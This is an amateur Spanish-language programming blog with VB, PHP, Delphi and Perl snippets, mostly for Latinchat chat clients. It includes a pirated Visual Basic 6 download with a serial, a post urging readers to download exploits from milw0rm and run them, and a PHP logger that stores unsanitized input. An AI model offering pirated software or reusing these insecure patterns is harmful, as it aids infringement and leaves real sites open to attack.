Visual Basic 6.0 Professional Edition + SERIAL
Descripcion:
Visual Basic es un lenguaje de programación y un entorno de desarrollo para crear aplicaciones (IDE) mediante este lenguaje. Está compuesto por un editor de código para redactar el código fuente, un depurador para detectar y corregir errores, un compilador que traduce el código fuente a lenguaje de máquina y un constructor de interfaz gráfica o GUI, que nos permite crear la parte gráfica del programa directamente sin necesidad de escribir código.
Visual Basic es compatible con todas las versiones de Windows, incluidas las más actuales. Con está descarga tendrás al instante el último parche de revisión de la versión 6 del programa.
Descarga: http://mymegafiles.com/download.php?id=341AEA4C1
Serial: 111-1111111
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Friday, July 03, 2009 | 0 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Funcion AntiBot
Y bueno ya que han pedido esa función para sus clientes, lo publico. Crear funcion antibot se puede hacer de varias formas, usando ListView(analógico al ax3l chat),ListBox, etc. Pero publicare el método con el que se ignora el bot activo, y luego a su gusto lo ponen sea Lview u otra cosa. Para las fuentes de xTreme beta, abran modulo general, busquen la parte siguiente:
If optionpriv = True ThenY debajo de eso ponen código de antibot lo que en total tendrá aspecto algo aprecido a Esto:
For a = 0 To UBound(vprivado())
If
vprivado(a).Caption = "Privado Con : " & tmwhoto Then Call
vprivado(a).prvmsg(tmnick, tmtalk): Exit Sub
Next
For a = 0 To
UBound(vprivado())
If vprivado(a).Caption = "Privado Con : " & tmnick
Then Call vprivado(a).prvmsg(tmnick, tmtalk): Exit Sub
Next
ReDim
Preserve vprivado(UBound(vprivado()) + 1)
vprivado(UBound(vprivado())).Show
Call vprivado(UBound(vprivado())).prvmsg(tmnick, tmtalk)
Else
Call
fchat.prvpan(tmnick, tmtalk)
End If
End If
Con eso queda claro que el bot se imprimirá en pantalla principal de chat. Basandose en ese ejemplo pueden llevar funcion a Lview, listbox, etc.
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Saturday, August 02, 2008 | 0 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Códigos fuente Delphi.
Un mini pack de códigos fuentes en delphi creado por mi para principiantes,con este pack aprenderán a manejar ciertos controles de Delphi. Incluido Windows Comandos y Base64 encriptación. Este pack es parte de aquel proyecto que pienso realizar pronto, osea publicar mayoría de códigos fuentes creados por mi en ese mismo lenguaje de programación. Digamos que es la primera parte de un pack grande que poco a poco serán publicados.
Tamaño de fichero: 1.48 MB
Password: ax3l
Creador: ax3l/d4rksoft
Descarga: PackDelphi
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Sunday, July 27, 2008 | 0 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
PHP. Upload file 1.0.1
Descargar: UpManager
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Thursday, July 17, 2008 | 0 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Programación VB. Latinchat . Dark beta source reparado!
Una pequeña fuente, relacionada con Latinchat. Diferente y simple.Código modificado y reparado, con conección rápida y estable. Simplemente nueva vista para este protócolo.
Tamaño de fichero: 164 KB
Creado por : ax3L/d4rksoft
Descargar: d4rkBeta
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Sunday, May 25, 2008 | 2 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Programación VB. Latinchat. Contador de usuarios
Y eso por lo visto es un contador de usuarios alternativo. Antes esa función se generaba mediante javascript searchuser.js
Array('41','26','212','21','26','18','13','15','23','20','83','91',
'18','26','3','23','15','88','11','6','1','19','47','11','13','10','8','5','11','5',17',
'16','3','20','7','4','12','5','14','3','1','2','16','0','10','24','14','7','37','13','19',
'5','5','10','1','93','9','67','36','34','90','28','18','21','10','16','22','70','42','1'
'4','2','9','3','5','31','26','9','10','16','0','3','1','0','7','11','17','11','35','10','15',
51','6','107','18','15','12','10','12','11','3','0','4','5','0','5','14','
12','1','2','5','2',
'3','0','0','5','0','2','1','1','6','2','0','4','2','1','1','1','0','2','0','131'); numusers=2413;
script pueden descargar de Aquí . Ahora existe otra forma alternativa para tener esa función.
Código:
Object = "{3B7C8863-D78F-101B-B9B5-04021C009402}#1.2#0"; "RICHTX32.OCX"
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Form1
BackColor = &H00000000&
BorderStyle = 4 'Fixed ToolWindow
Caption = "User count © d4rksoft 2008!"
ClientHeight = 3090
ClientLeft = 45
ClientTop = 315
ClientWidth = 4455
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 3090
ScaleWidth = 4455
ShowInTaskbar = 0 'False
StartUpPosition = 3 'Windows Default
Begin MSWinsockLib.Winsock Winsock1
Left = 1200
Top = 2880
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.Timer Timer1
Enabled = 0 'False
Interval = 1000
Left = 4200
Top = 2880
End
Begin VB.Frame Frame1
BackColor = &H00000000&
Caption = "Data Arrival"
ForeColor = &H000000FF&
Height = 2175
Left = 120
TabIndex = 3
Top = 720
Width = 4215
Begin RichTextLib.RichTextBox dataR
Height = 1815
Left = 120
TabIndex = 4
Top = 240
Width = 3975
_ExtentX = 7011
_ExtentY = 3201
_Version = 393217
Enabled = -1 'True
TextRTF = $"NewuserCount.frx":0000
End
End
Begin VB.Label Label3
BackStyle = 0 'Transparent
Caption = "Data Arrival :"
ForeColor = &H000000FF&
Height = 255
Left = 720
TabIndex = 2
Top = 360
Width = 975
End
Begin VB.Label Label2
Alignment = 2 'Center
BackColor = &H00000000&
BackStyle = 0 'Transparent
ForeColor = &H000000FF&
Height = 375
Left = 2760
TabIndex = 1
Top = 120
Width = 1455
End
Begin VB.Label Label1
BackStyle = 0 'Transparent
Caption = "Usuarios conectados a Latinchat:"
ForeColor = &H000000FF&
Height = 255
Left = 120
TabIndex = 0
Top = 120
Width = 2415
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'new user counter creado por d4rk
'modifica codigo a tu gusto pero devuelve creditos al creador
'codigo bajado de http://ax3l.blogspot.com
Private Sub dataR_Change()
Dim Mystr As String
Dim StrInic As Long
Dim StrFin As Long
Mystr = dataR.Text
If InStr(Mystr, "<body>") <> 0 Then
StrInic = InStr(Mystr, "<body>") + 6
StrFin = InStr(StrInic, Mystr, "</body>") - StrInic
If InStr(dataR, Chr(11)) <> 0 Then dataR = Replace(dataR, Chr(11), "")
Label2.Caption = Mid(Mystr, StrInic, StrFin)
End If
End Sub
Private Sub Form_Load()
Timer1 = True
End Sub
Private Sub Timer1_Timer()
Winsock1.Close
Winsock1.Connect "login01.latinchat.com", 80
End Sub
Private Sub winsock1_Connect()
Winsock1.SendData ("GET /usercount/usercount.php" & " HTTP/1.1" & vbCrLf _
& "Accept: */*" & vbCrLf & "Accept: text/html" & vbCrLf & "Host:
login01.latinchat.com" & vbCrLf & vbCrLf)
End Sub
Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)
Dim DATA As String
Winsock1.GetData DATA
dataR = DATA
End Sub
O simplemente bajar código fuente de Aquí.
Saludos!
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Friday, May 16, 2008 | 1 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Programación VB. Latinchat . Conección alternativa
Y bueno para variar, voy a publicar más reciente y alternativa validación para Latinchat. Para fuentes de MyChat código tendrá siguiente aspecto :
cadstr(Index) = "UserName=" & Nick(Index) & "&InstanceID=" & Rid
validar(Index).SendData ("POST " & "/reglogin" & " HTTP/1.1" & vbCrLf & _
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
& vbCrLf & _
"Referer: http://www.latinchat.com/LG/T2/entretenimiento.php?log=LGR&id=6" &
vbCrLf & _
"Accept-Language: en-us,en;q=0.5" & vbCrLf & _
"Accept-Encoding: gzip,deflate" & vbCrLf & _
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7" & vbCrLf & _
"Content-Type: application/x-www-form-urlencoded" & vbCrLf & _
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" &
vbCrLf & _
"Host: " & chatuser.LoginName & ":80" & vbCrLf & _
"Content-Length: " & Len(cadstr(Index)) & vbCrLf & _
"Connection: Keep-Alive" & vbCrLf & vbCrLf & _
cadstr(Index) & vbCrLf)
End Sub
Simplemente copiar código y pegarlo en la cadena correspondiente.
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Monday, May 12, 2008 | 1 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Programación VB. Latinchat y cambios remotos
Hola a todos, sobre todo a los programadores de Latinchat. Ya saben que esos días la gran mayoría de los clientes han dejado de funcionar, debo a la cadena que ellos llevaban en socket de validación [incluso yo! :)]. Luego cambiando TEMPLATE empezó a conectar. A ver, estuve investigando acerca de eso, y puedo ofrecerles 2 métodos para arreglar este problema. El primero se trata de subir cierta parte de cadena a nuestro servidor, por donde podremos manejar los cambios más revelantes ( por ejemplo template, etc,) remotamente y el segundo me parece más liviano. Por el momento he lanzado dos ejecutables con los 2 métodos, y observando se verá cuál de ellos es más efectivo.
Véamos más detalladamente. En código fuente de MyChat que hoy día es más usado y popular, la cadena de validación se ve de la siguiente forma:
validar_Connect(Index As Integer)
cadstr(Index) = "UserName=" & Nick(Index) & "&InstanceID=" & Rid &
Text5.Text & "&CLIENT=JAVA&TEMPLATE=4"
validar(Index).SendData ("POST " & "http://" & chatuser.LoginName & "/reglogin"
& " HTTP/1.1" & vbCrLf & _
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword,
*/*" & vbCrLf & _
"http://wwwlatinchat.com/LG/T2/entretenimiento.php" & vbCrLf & _
"Accept-Language: es-mx" & vbCrLf & _
"Content-Type: application/x-www-form-urlencoded" & vbCrLf & _
"Accept-Encoding: gzip, deflate" & vbCrLf & _
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" &
vbCrLf & _
"Host: " & chatuser.LoginName & ":80" & vbCrLf & _
"Content-Length: " & Len(cadstr(Index)) & vbCrLf & _
"Connection: Keep-Alive" & vbCrLf & vbCrLf & _
cadstr(Index) & vbCrLf)
End Sub
y me pregunto, para que es necesario cargar cadena de esta forma si simplemente se conecta con esta que se ve más liviano :
validar_Connect(Index As Integer)
cadstr(Index) = "UserName=" & Nick(Index) & "&InstanceID=" & Rid
validar(Index).SendData ("POST " & "/reglogin"
& " HTTP/1.1" & vbCrLf & _
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword,
*/*" & vbCrLf & _
"http://wwwlatinchat.com/LG/T2/entretenimiento.php" & vbCrLf & _
"Accept-Language: es-mx" & vbCrLf & _
"Content-Type: application/x-www-form-urlencoded" & vbCrLf & _
"Accept-Encoding: gzip, deflate" & vbCrLf & _
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" &
vbCrLf & _
"Host: " & chatuser.LoginName & ":80" & vbCrLf & _
"Content-Length: " & Len(cadstr(Index)) & vbCrLf & _
"Connection: Keep-Alive" & vbCrLf & vbCrLf & _
cadstr(Index) & vbCrLf)
End Sub
Simplemente copiarlo y pegarlo en donde se debe y verán que si se conecta sin problemas. Bueno, una parte de pequeños experimentos.
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Saturday, May 10, 2008 | 0 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Consejos para Programadores. PHP coding!
Aquí va el código pequeño creado por mi para tal fin, para tener minima idea de como crear propio log. Muy popular entre programadores de latinchat, aunque muchos usan cbox, con este ejemplo, aprenderán como manejarlo.
Abran block de notas e introducir siguiente código y guardarlo como mmlog.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Generar Log</title>
</head>
<body>
<center>
<form action="mmlog.php" method="post">
Mensaje:
<input type="text" fsp="150" msp="250" name="file" />
<input type="submit" name="enviar" value="Enviar" />
</body>
<?php
extract($_POST);
$errorMsg = "";
$file=fopen("datos.txt","a") or die ("Unable to find the file datos.txt");
$myLog=$_POST["file"];
fwrite($file,$myLog."\n");
fclose($file);
?>
</html>
Subirlo a algun servidor que tenga soporte de PHP y ejecutarlo. Datos se guardarán en un archivo .txt llamado datos, el el mismo directorio donde haya este fichero.
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Monday, February 25, 2008 | 2 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Programación VB. EXE file scanner !
Rasgos Generales de file scanner en VB. Explicando método de funcionamiento
¿Qué es eso? - esto es un programa que define con que está compilado o empaquetado un fichero ejecutable.
Uno de los mas populares de este tipo de programas es PEID.Pues ahora analizaremos ciertos códigos necesarios para scanear ejecutables.
Formato de archivo
En breve explicando DOS-Headers: DOS-Headers comprueba, si el programa se ejecuta por DOS o no, y se lanza DOS stub el cual mostrará siguiente línea
"This рrogram cannot run in DOS mode". Aquí usaremos siguientes campos:
Magic – debe contener "4D5Ah" que equivale "MZ";lfanew – longitud de DOS header, para saber donde se encuentra PE-Header
Option Explicit
'DOS Header
Public Type IMAGE_DOS_HEADER
Magic As Integer
cblp As Integer
cp As Integer
crlc As Integer
cparhdr As Integer
minalloc As Integer
maxalloc As Integer
ss As Integer
sp As Integer
csum As Integer
ip As Integer
cs As Integer
lfarlc As Integer
ovno As Integer
res(3) As Integer
oemid As Integer
oeminfo As Integer
res2(9) As Integer
lfanew As Long
End Type
РE-Header – contiene muchos campos importantes. Lo que necesitamos son siguientes: Signature – debe ser PE al cual le siguen dos ceros, en caso contrario no lo será ; NumObjects – cantidad de secciones en archivo; EntryPointRVA – dirección, relacionado con Image Base por el cual pasa el proceso del manipulación al ejecutar el programa; ImageBase – dirección inicial virtual de ejecución del programa
'PE Header
Public Type PE_HEADER
Signature As String * 4
CPU_Type As Integer ´tipo de procesor
'CPU Type tiene siguientes valores:
'14Ch -i386
'014Dh - i486
'014Eh - i586
'0162h - MIPS Mark I (R2000, R3000)
'0163h - MIPS Mark II (R6000)
'0166h - MIPS Mark III (R4000)
NumObjects As Integer ´cantidad de secciones
TimeDateStamp As Long
pCOFFTable As Long
COFFTableSize As Long
NTHeaderSize As Integer
Flags As Integer
Magic As Integer
LinkMajor As Byte
LinkMinor As Byte
SizeOfCode As Long
SizeOfInitData As Long
SizeOfUnInitData As Long
EntryPointRVA As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
ObjectAlign As Long
FileAlign As Long
OSMajor As Integer
OSMinor As Integer
USERMajor As Integer
USERMinor As Integer
SubSysMajor As Integer
SubSysMinor As Integer
Reserved1 As Long
ImageSize As Long
HeaderSize As Long
FileCheckSum As Long
SubSytem As Integer
'SubSystem tiene siguientes valores:
'0001h - Native
'0002h - Windows GUI
'0003h - Windows Character
' (console aplication)
'0005h - OS/2 Character
'0007h - Posix Character
DLLFlags As Integer
StackReserveSize As Long
StackCommitSize As Long
HeapReserveSize As Long
HeapComitSize As Long
LoaderFlags As Long
NumOfRVAandSizes As Long
ExportTableRVA As Long
ExportDataSize As Long
ImportTableRVA As Long
ImportDataSize As Long
ResourceTableRVA As Long
ResourceDataSize As Long
ExceptionTableRVA As Long
ExceptionDataSize As Long
SecurityTableRVA As Long
SecurityDataSize As Long
FixTableRVA As Long
FixDataSize As Long
DebugTableRVA As Long
DebugDataSize As Long
ImageDescriptionRVA As Long
DescriptionDataSize As Long
MachineSpecificRVA As Long
MachnineDataSize As Long
TLSRVA As Long
TLSDataSize As Long
LoadConfigRVA As Long
LoadConfigDataSize As Long
Reserved2(39) As Byte
End Type
Object Table - es una serie de estructuras. La cantidad se define con Num of Objects. El campo SectionName – nombre de sección, maxima longitud 8 bytes; VirtualSize – tamaño virtual de la sección; VirtualAddress – dirección virtual de la sección; PointerToRawData – desplazamiento del fichero al inicio del fichero.
'Object Table
Public Type IMAGE_SECTION_HEADER
SectionName As String * 6
PhisicalAddress As Integer
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
Characteristics As Long
End Type
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _
(pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Public Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" _
(ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal _
dwShareMode As Long, lpSecurityAttributes As Any, ByVal _
dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long
Public Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, _
lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead _
As Long, lpOverlapped As Any) As Long
Public Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As _
Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal _
dwMoveMethod As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public tDos As IMAGE_DOS_HEADER
Public tFile As PE_HEADER
Public tSection() As IMAGE_SECTION_HEADER
Dim cFileOffset As Long
Dim PackBytes As String
Comprobando es PE (Portable Executable) o no:
Ahora crearemos función que definirá si el fichero es ejecutable o no.
Public Function ChkforPe(hFile As Long) As Boolean
Dim Buffer(4) As Byte
Dim lngBytesRead As Long
Dim tDosHeader As IMAGE_DOS_HEADER
If (hFile > 0) Then
' para leer DOS Header
ReadFile hFile, tDosHeader, ByVal Len(tDosHeader), lngBytesRead, ByVal 0&
CopyMemory Buffer(0), tDosHeader.Magic, 2
If (Chr(Buffer(0)) & Chr(Buffer(1)) = "MZ") Then
SetFilePointer hFile, tDosHeader.lfanew, 0, 0
' salta al final del header y lee 4 bytes en buffer
ReadFile hFile, Buffer(0), 4, lngBytesRead, ByVal 0&
If (Chr(Buffer(0)) = "P") And (Chr(Buffer(1)) = "E") And _
(Buffer(2) = 0) And (Buffer(3) = 0) Then
' debe ser "PE" y dos bytes equivalents a 0
ChkforPe = True ´realmente es un PE (Portable Executable)!
Exit Function
End If
End If
End If
ChkforPe = False
End Function
Bueno, de esta forma comprobamos DOS Header, y si el fichero tiene correcto DOS Header , encontramos PE-Header usando lfanew.
GetFileOffset
Siguiente función encuentra dirección de la sección en archivo por donde debe comenzar.
Public Function GetFileOffset(sFile As String) As String
Dim PointerToRaw As Long
Dim SizeOfRaw As Long
Dim VirtualAdr As Long
Dim EPoint As Long
Dim sTemp As Long
Dim sData() As Byte
Dim sU As Integer
Open sFile For Binary As #1
ReDim sData(LOF(1) - 1)
Get #1, , sData
Close #1
Dim sTemp1 As Long
Dim sTemp2 As Long
cFileOffset = 0 ´pone en zero offset
CopyMemory tDos, sData(sTemp1), Len(tDos)
' llega a tabla de sección del objeto.
' se encuentra después de PE header
CopyMemory tFile, sData(tDos.lfanew), Len(tFile)
sTemp1 = sTemp1 + tDos.lfanew + Len(tFile)
' rellena array de la sección con datos
ReDim tSection(tFile.NumObjects - 1)
For sTemp2 = 0 To UBound(tSection)
CopyMemory tSection(sTemp2), sData(sTemp1), Len(tSection(0))
sTemp1 = sTemp1 + Len(tSection(0))
Next sTemp2
' obtiene "punto de entrada"
EPoint = tFile.EntryPointRVA
For sU = 0 To UBound(tSection)
sTemp1 = tSection(sU).VirtualAddress
sTemp2 = sTemp1 + tSection(sU).VirtualSize
If EPoint >= sTemp1 And EPoint <= sTemp2 Then GoTo sNex Next sU sNex: sTemp = tSection(sU).VirtualAddress - tSection(sU).PointerToRawData cFileOffset = EPoint - sTemp GetFileOffset = cFileOffset End Function GET1stBytes
Esta funcón pasa por cierta cantidad de bytes obtenidos por función GetFileOffset y cuenta en variable PackBytes siguientes 30 bytes.
Public Function Get1stBytes(sFile As String) As String
Dim sX As Integer
Dim sBytes As String * 30
Dim sTemp As String
PackBytes = ""
Open sFile For Binary Access Read As #1
Seek #1, cFileOffset + 1'
Get #1, , sBytes Close #1
For sX = 1 To Len(sBytes)
sTemp = Hex(Asc(Mid(sBytes, sX, 1)))
If sTemp = "0" Then
sTemp = "00"
ElseIf Len(sTemp) = 1 Then
sTemp = "0" & sTemp
End If
PackBytes = PackBytes & sTemp
Get1stBytes = Get1stBytes & sTemp & " "
Next sX
End Function
PakerName
Esta function comprobará los signatures.
Public Function PackerName() As String
Dim sTemp As String
If Trim(PackBytes) Like _
Trim("68????????E8????????0000??00000030000000????????????????????") _
Then
PackerName = "Microsoft Visual Basic v5.0/v6.0"
Else
PackerName = "Nothing found!"
End If
End Function
Bueno, hay varios códigos de este material, y más existe una database grande de los signatures, pero es recomendable usarlo con método Select case.
Saludos
Special thanx to : sl1ppy / arnoldiK
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Thursday, February 07, 2008 | 0 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Simple way to repeat!
Bueno, no tengo foro, por lo tanto cosas que preguntan o piden, tengo que postear en blog, pues va, uno de los más solicitados códigos para clientes LatinChat es Crear Tal Repetidora que recoja data tal cual, o sea original, bueno, esta opción tampoco lleva mi cliente, no me había fijado en esto, pero ahora que han preguntado me dio curiosidad y ahi pequeño código, de cómo crearlo, para los usuarios que ocupan fuente xTremebeta y tienen creado esta funcion por módulo general, y usan control textbox, sería siguiente:
En este caso se trata de Private Sub Text25_Change(), inside this event u have to put this code
'BY D4RK
If InStr(Text25.Text, "<font color='FF41FF'>") <> 0 Then colorclon = "<font
color='FF41FF'>": Text25.Text = Replace(Text25.Text, "<font
color='FF41FF'>", "")
If InStr(Text25.Text, "<font color='000000'>") <> 0 Then colorclon = "<font
color='000000'>": Text25.Text = Replace(Text25.Text, "<font
color='000000'>", "")
If InStr(Text25.Text, "<font color='173A6A'>") <> 0 Then colorclon = "<font
color='173A6A'>": Text25.Text = Replace(Text25.Text, "<font
color='173A6A'>", "")
If InStr(Text25.Text, "<font color='F31717'>") <> 0 Then colorclon = "<font
color='F31717'>": Text25.Text = Replace(Text25.Text, "<font
color='F31717'>", "")
If InStr(Text25.Text, "<font color='1F9912'>") <> 0 Then colorclon = "<font
color='1F9912'>": Text25.Text = Replace(Text25.Text, "<font
color='1F9912'>", "")
If InStr(Text25.Text, "<font color='FFEA00'>") <> 0 Then colorclon = "<font
color='FFEA00'>": Text25.Text = Replace(Text25.Text, "<font
color='FFEA00'>", "")
If InStr(Text25.Text, "<font color='FFA200'>") <> 0 Then colorclon = "<font
color='FFA200'>": Text25.Text = Replace(Text25.Text, "<font
color='FFA200'>", "")
If InStr(Text25.Text, "<font color='A50694'>") <> 0 Then colorclon = "<font
color='A50694'>": Text25.Text = Replace(Text25.Text, "<font
color='A50694'>", "")
If InStr(Text25.Text, "<B>") <> 0 Then tipo(0) = "<B>"
If InStr(Text25.Text, "<U>") <> 0 Then tipo(1) = "<u>"
If InStr(Text25.Text, "<I>") <> 0 Then tipo(2) = "<i>"
and then u should create another replace of srtings like this:
Text25.Text = Replace(Text25.Text, "</CENTER>", "")
Text25.Text = Replace(Text25.Text, "<CENTER>", "")
Text25.Text = Replace(Text25.Text, "<img src='a:", " ")
Text25.Text = Replace(Text25.Text, "' height=1>", " ")
Text25.Text = Replace(Text25.Text, "<>", "")
Text25.Text = Replace(Text25.Text, "<I>", "")
Text25.Text = Replace(Text25.Text, "</I>", "")
Text25.Text = Replace(Text25.Text, "</CENTER>", "")
Text25.Text = Replace(Text25.Text, "<CENTER>", "")
Text25.Text = Replace(Text25.Text, "<img src='a:", " ")
Text25.Text = Replace(Text25.Text, "' height=1>", " ")
Text25.Text = Replace(Text25.Text, "</font>", "")
Text25.Text = Replace(Text25.Text, "<img src="" ondragover=", " ")
Text25.Text = Replace(Text25.Text, ";break", " ")
Text25.Text = Replace(Text25.Text, "<img src='' onpaste=()';>", " ")
Text25.Text = Replace(Text25.Text, "<img dynsrc=", " ")
Text25.Text = Replace(Text25.Text, "http://www.cutefunpages.com/vgif.gif", "
")
Text25.Text = Replace(Text25.Text, "loop=1", " ")
Text25.Text = Replace(Text25.Text, "height=1>", " ")
U will need one label for ' replacing icons data, something like this :
Text25.Text = Replace(Text25.Text, "<IMG SRC=" & Label1.Caption & "http://ltimages.latinchat.com/img/list-new/1.gif"
& Label1.Caption & ">", "//00") etc etc
thats all ( si lo expilcara en español,no sé si me saldría bien lol, no puedo presumir que términos de programación en español me los se perfectamente)
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Monday, November 05, 2007 | 0 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
VB Coding!
Hubo peticiones de publicar codigos en vb, uno de los mas recientes fue cargar txt archivos de x Path al form. Vamos a ver, eso es lo ke hice tan de prisa, si le ven error sorry, eeemmm, no ando de humor ahora,
Need
Form1, Command1, Text1,Module1 (bas)
Codigo para Modulo:
Public Function readFile(lTxt As String, strFile As String)
Dim xLine As String, gFn As Integer, xLineCnt As Long
'created by d4rksoft
'function that read file from X Path
'First Define
gFn = FreeFile
' Opens a text file for input
On Error Resume Next
Open strFile For Input As gFn
xLineCnt = 1
' Reading the contents of the file
Do While Not EOF(gFn)
Line Input #gFn, xLine
xLine = xLine & vbCrLf
lTxt = lTxt & xLine
Loop
Form1.Text1.Text = lTxt
' Close the file
Close gFn
End Function
Code para Command1:
readFile Text1.Text, App.Path + "\txtLogFile.txt"
Por ultimo, link de descarga si les pa pereza copiar:
http://club.telepolis.com/d4rkv1rus/eko.rar
P.D. de prueba en txt archivo en la carpeta he puesto lyrics de no se quien ajajaja, buscaba algo de metallica y creo puse algo que ni se de quien es o.O si saben avisar o.o sigo viendo euronews
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Sunday, November 04, 2007 | 1 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Get File!
Bueno, aqui dejo mi otro script hecho en Perl. Get File es un script que le permite descargar fichero desde web que por defecto lo va a guardar en disco C.
Bajar fichero: http://club.telepolis.com/d4rkv1rus/dkwebtool.rar
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Sunday, October 28, 2007 | 0 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Un poco de Perl
Perl es uno de los lenguajes de programación que tanto me gusta. Si algo saben de los exploits, sabrán que 70-80% quizás más cantidad de exploits precisamente están hechos en Perl, y eso tiene su explicación: está fácil de interpretar, fácil de entender y muy efectivo que hace su trabajo perfectamente. Si tienen exploit hecho en perl necesitan sin duda active perl, ya que sin eso los archivos con extensiones .pl no van a funcionar correctamente. Aquí les dejo link de descarga de Active Perl
http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.7.813-MSWin32-x86-148120.msi
Lo siguiente que necesitan es Text editor, de los que les recomiendo tener DzSofts Perl Editor pero si no más quieren hacerlo todo FREE, entonces, usen Block de notas(Notepad). Una vez haber bajado Active Perl e instalarlo correctamente, es hora de ver funcionamiento de archivos con .pl extensión. Para bajar los exploit vayanse a página de http://www.milw0rm.com/ o vean ejemplo de http://www.milw0rm.com/exploits/3373 . Lo que hacemos es siguiente: copiar exploit y pegarlo en block de notas. Al guardar, indicar extensión .pl, por ejmeplo (itsExploit.pl) , en Save as type, indicar All files y guardalo en disco C. Si lo ha hecho correctamente, ya tiene un archivo .pl . Pues entonces ahora veamos método de su uso. Ahora abrimos ventana de promt (ms dos)
Start>Run y en ventana de ejecutar introducir cmd , de esta forma se va a mostrar ventana de ms-dos. Okay, ahora en esa misma ventana introduzcan :
cd c:\
Ahora estamos dentro del disco C. Ahora introducir nombre del archivo guardado recientemente. o sea itsExploit.pl y sale algo asi :
Lean atentamente Usage de exploit, y actuan segun la instrucción. Más tarde veremos variables y caracteres especiales de este lenguaje. Saludos
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Saturday, October 13, 2007 | 0 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Firma en PHP
Bueno, por lo visto mucha gente quiere tener una firma, en donde, además de
imagén y datos, se vean también información de IP, navegador, proveedor,etc. Crearlo, realmente es una cosa simple. Lo que necesitan es:
1.Host, con soporte de PHP, y .htaccess
2.Imagen
3.Un poco de cerebro =) y manos
Como tal, no se requiere ser un experto de PHP(aunque recomendado sí que lo es,
porsupuesto que hay que saber ese lenguaje)
Paso Primero. Creación de Imagen con extensión .png
Hay que editar imagen propio de tal forma que haya suficiente espacio para
texto.Por ejemplo, crear imagen con nombre imagen.png. Okay ahora tenemos que pensar en siguiente paso .
Paso Segundo.Creacion de archivo ¨userbar.php¨. Codigo que tenemos que
introducir en este archivo tiene siguiente aspecto:
<?php
Header("Content-type: image/png");
$rmVar="Tu IP es $REMOTE_ADDR";
$im = ImageCreateFromPng("imagen.png");
$c = ImageColorAllocate($im, 225, 225, 225);
ImageString($im,3,75,43, $rmVar,$c);
ImagePng($im);
ImageDestroy($im);
?>
Bueno, y para que sea mas claro , expliquemos mas detalladamente contenido
del archivo userbar.php.
<?php
Comienzo del script
Header("Content-type: image/png");
Sirve para determinar tipo de documento
